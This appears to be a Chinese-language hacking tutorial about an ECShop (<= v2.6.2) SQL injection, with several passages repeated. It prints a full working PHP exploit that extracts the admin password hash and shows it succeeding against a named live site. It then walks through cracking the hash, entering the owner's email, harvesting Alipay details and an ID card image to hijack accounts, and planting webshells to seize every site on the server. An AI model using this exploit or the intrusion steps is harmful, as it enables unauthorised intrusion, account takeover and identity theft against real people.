ECSHOP的老漏洞现在都还有好多网站还没有修补,
该漏洞影响版本极为强大.ECSHOP是DZ旗下的产品, ECSHOP是一款开源免费的网上商店系统.由专业的开发团队升级维护,
为您提供及时高效的技术支持,您还可以根据自己的商务
该漏洞影响版本极为强大.ECSHOP是DZ旗下的产品, ECSHOP是一款开源免费的网上商店系统.由专业的开发团队升级维护,
为您提供及时高效的技术支持,您还可以根据自己的商务
ECSHOP的老漏洞现在都还有好多网站还没有修补,
该漏洞影响版本极为强大.ECSHOP是DZ旗下的产品, ECSHOP是一款开源免费的网上商店系统.由专业的开发团队升级维护,
为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,
增加自己商城的特色功能.
漏洞分析:
文件includes/init.php判断get_magic_quotes_gpc(),如果为off则调用addslashes_deep():
01.// includes/init.php
02.if (!get_magic_quotes_gpc())
03.{
04. if (!emptyempty($_GET))
05. {
06. $_GET = addslashes_deep($_GET);
07. }
08. if (!emptyempty($_POST))
09. {
10. $_POST = addslashes_deep($_POST);
11. }
12.
13. $_COOKIE = addslashes_deep($_COOKIE);
14. $_REQUEST = addslashes_deep($_REQUEST);
15.}
addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理
01.// includes/lib_base.php
02.function addslashes_deep($value)
03.{
04. if (emptyempty($value))
05. {
06. return $value;
07. }
08. else
09. {
10. return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
11. // 只处理了数组的值:)
12. }
13.}
下面看下具体的导致漏洞的代码,文件 pick_out.php里:
01.// pick_out.php
02.if (!emptyempty($_GET['attr']))
03.{
04. foreach($_GET['attr'] as $key => $value)
05. {
06. $key = intval($key);
07. $_GET['attr'][$key] = htmlspecialchars($value);
08. // foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value
09. // 因此可以引入任意的key:)
10. // 程序员的逻辑出了问题?
11. }
12.}
13....
14. foreach ($_GET['attr'] AS $key => $value)
15. {
16. $attr_url .= '&attr[' . $key . ']=' . $value;
17.
18. $attr_picks[] = $key;
19. if ($i > 0)
20. {
21. if (emptyempty($goods_result))
22. {
23. break;
24. }
25. // 利用key进行注射:)
26. $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attr_value='$value'");
由于magic_quotes_gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞.
漏洞利用:
01.#!/usr/bin/php
02.<?php
03.//本程序只作技术交流,请不要用做非法用途!!
04.print_r('
05.+---------------------------------------------------------------------------+
06.ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
07.by puret_t
08.mail: puretot at gmail dot com
09.team: http://bbs.wolvez.org
10.dork: "Powered by ECShop"
11.+---------------------------------------------------------------------------+
12.');
13./**
14. * works with magic_quotes_gpc = Off
15. */
16.if ($argc < 3) {
17. print_r('
18.+---------------------------------------------------------------------------+
19.Usage: php '.$argv[0].' host path
20.host: target server (ip/hostname)
21.path: path to ecshop
22.Example:
23.php '.$argv[0].' localhost /ecshop/
24.+---------------------------------------------------------------------------+
25.');
26. exit;
27.}
28.
29.error_reporting(7);
30.ini_set('max_execution_time', 0);
31.
32.$host = $argv[1];
33.$path = $argv[2];
34.
35.$resp = send();
36.preg_match('#IN\s\(([\S]+):([a-z0-9]{32})\)#', $resp, $hash);
37.
38.if ($hash)
39. exit("Expoilt Success!
admin:\t$hash[1]
Password(md5):\t$hash[2]
");
40.else
41. exit("Exploit Failed!
");
42.
43.function send()
44.{
45. global $host, $path;
46.
47. $cmd = 'cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat';
48.
49. $data = "GET ".$path."pick_out.php?".$cmd." HTTP/1.1\r
";
50. $data .= "Host: $host\r
";
51. $data .= "Connection: Close\r
\r
";
52.
53. $fp = fsockopen($host, 80);
54. fputs($fp, $data);
55.
56. $resp = '';
57.
58. while ($fp && !feof($fp))
59. $resp .= fread($fp, 1024);
60.
61. return $resp;
62.}
63.
64.?>
这个老漏洞是狼族成员Ryan发现的,
在入侵过程中,我们往往会忽略掉身边的某一些"资源",
我们要试着把一个网站管理员的任何信息全部毫无保留地社工出来.
首先,当我们找到了这个目标之后..
我们开始随便拿个网站来开刷一下.
(图1)

Microsoft Windows XP [版本 5.1.2600] (C) 版权所有 1985-2001 Microsoft Corp. E:\Php\Server\PHP>php ecshop.php +---------------------------------------------------------------------------+ ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit by puret_t mail: puretot at gmail dot com team: http://bbs.wolvez.org dork: "Powered by ECShop" +---------------------------------------------------------------------------+ +---------------------------------------------------------------------------+ Usage: php ecshop.php host path host: target server (ip/hostname) path: path to ecshop Example: php ecshop.php localhost /ecshop/ +---------------------------------------------------------------------------+ E:\Php\Server\PHP>php ecshop.php www.znto.com / +---------------------------------------------------------------------------+ ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit by puret_t mail: puretot at gmail dot com team: http://bbs.wolvez.org dork: "Powered by ECShop" +---------------------------------------------------------------------------+ Expoilt Success! admin: admin Password(md5): 0b7c1f2434e0e47df51679a81a9d7141 E:\Php\Server\PHP> (图2)
下面我们来用Md5在线破解来转一下. (图3)
后台的地址只要在浏缆器上添加../admin 就可以见到. (图4)
点右上角的个人设置,我们可以看到管理员的E-mail出现在我们眼前, (图5)
现在我们利用上面的密码来试试进入这个邮箱, (图6)
在这里,我们可以看到许多支付宝的帐号,密码寻回都是靠这个E-mail的了, (图7)
当我在这个E-mail里面诳了许久的时候我发现网盘这边有他的身份证图片, (图8)
或许现在你会问,要这个身份证来有什么用的呢? 当我们修改支付宝的密码的时候,我们会利用到身份证的号码的. (图9)
不过我们不是破坏分子,而是学习分子,我相信没有人会愿意去搞人家的支付宝的. 好了,E-mail我们算是完整地把他给搞下来了,下面我们试一下QQ. 在网站最下方有一些联系方式,我们试一下破解这个QQ, (图10)
我们可以发现这是一个在网络上有很多业务的人,这样的防御能力确实会让这位管理员受到破坏, (图11)
我还在163邮箱里面发现了这个管理员名下不少域名, 以及一个六位的QQ号码3931**,碰到这样的QQ我们要小心处理, 如果你想盗的话你可以靠现在手头上一些身份证,E-mail来破解密码保护, 那就要靠你自己的努力了. 好了,我们回到ECSHOP继续看看能不能搞到他其它的网站, 我刚才也说了,他的名下有几十个域名,可想而知是一个网络的大商人, 用明小子查了一下我也发现了这几个域名正是和他E-mail下的一样, 说明他整个服务器都是他的了,可以这样来判断. (图12)
我们回到网站上搞个Shell出来看起来清晰一点.嘿嘿, 在模板管理>库项目管理>选上"Myship.lbi 配送方式". 在最底下插入一句话木马! (图13)
在地址上输入../myship.php 这个页面在ECSHOP下过滤不严格造成了可以利用. 看到页面是没有什么现象, (图14)
我们用PHP+ASP一句话连接端来连接一下来达到我们的目的, (图15)
环境变量了一下我们可以清晰地看到目录是可以看到的. 下面..我们上传大马,我在这里测试了用PHP木马进去,再传个ASPX马上去跨目录, (图16)
跨目录就可以把每一个站下都完全占领了.. (图17)
小装一下.. (图18.19)


Microsoft Windows XP [版本 5.1.2600] (C) 版权所有 1985-2001 Microsoft Corp. E:\Php\Server\PHP>php ecshop.php +---------------------------------------------------------------------------+ ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit by puret_t mail: puretot at gmail dot com team: http://bbs.wolvez.org dork: "Powered by ECShop" +---------------------------------------------------------------------------+ +---------------------------------------------------------------------------+ Usage: php ecshop.php host path host: target server (ip/hostname) path: path to ecshop Example: php ecshop.php localhost /ecshop/ +---------------------------------------------------------------------------+ E:\Php\Server\PHP>php ecshop.php www.znto.com / +---------------------------------------------------------------------------+ ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit by puret_t mail: puretot at gmail dot com team: http://bbs.wolvez.org dork: "Powered by ECShop" +---------------------------------------------------------------------------+ Expoilt Success! admin: admin Password(md5): 0b7c1f2434e0e47df51679a81a9d7141 E:\Php\Server\PHP> (图2)

下面我们来用Md5在线破解来转一下. (图3)

后台的地址只要在浏缆器上添加../admin 就可以见到. (图4)

点右上角的个人设置,我们可以看到管理员的E-mail出现在我们眼前, (图5)

现在我们利用上面的密码来试试进入这个邮箱, (图6)

在这里,我们可以看到许多支付宝的帐号,密码寻回都是靠这个E-mail的了, (图7)

当我在这个E-mail里面诳了许久的时候我发现网盘这边有他的身份证图片, (图8)

或许现在你会问,要这个身份证来有什么用的呢? 当我们修改支付宝的密码的时候,我们会利用到身份证的号码的. (图9)

不过我们不是破坏分子,而是学习分子,我相信没有人会愿意去搞人家的支付宝的. 好了,E-mail我们算是完整地把他给搞下来了,下面我们试一下QQ. 在网站最下方有一些联系方式,我们试一下破解这个QQ, (图10)

我们可以发现这是一个在网络上有很多业务的人,这样的防御能力确实会让这位管理员受到破坏, (图11)

我还在163邮箱里面发现了这个管理员名下不少域名, 以及一个六位的QQ号码3931**,碰到这样的QQ我们要小心处理, 如果你想盗的话你可以靠现在手头上一些身份证,E-mail来破解密码保护, 那就要靠你自己的努力了. 好了,我们回到ECSHOP继续看看能不能搞到他其它的网站, 我刚才也说了,他的名下有几十个域名,可想而知是一个网络的大商人, 用明小子查了一下我也发现了这几个域名正是和他E-mail下的一样, 说明他整个服务器都是他的了,可以这样来判断. (图12)

我们回到网站上搞个Shell出来看起来清晰一点.嘿嘿, 在模板管理>库项目管理>选上"Myship.lbi 配送方式". 在最底下插入一句话木马! (图13)

在地址上输入../myship.php 这个页面在ECSHOP下过滤不严格造成了可以利用. 看到页面是没有什么现象, (图14)

我们用PHP+ASP一句话连接端来连接一下来达到我们的目的, (图15)

环境变量了一下我们可以清晰地看到目录是可以看到的. 下面..我们上传大马,我在这里测试了用PHP木马进去,再传个ASPX马上去跨目录, (图16)

跨目录就可以把每一个站下都完全占领了.. (图17)

小装一下.. (图18.19)




已有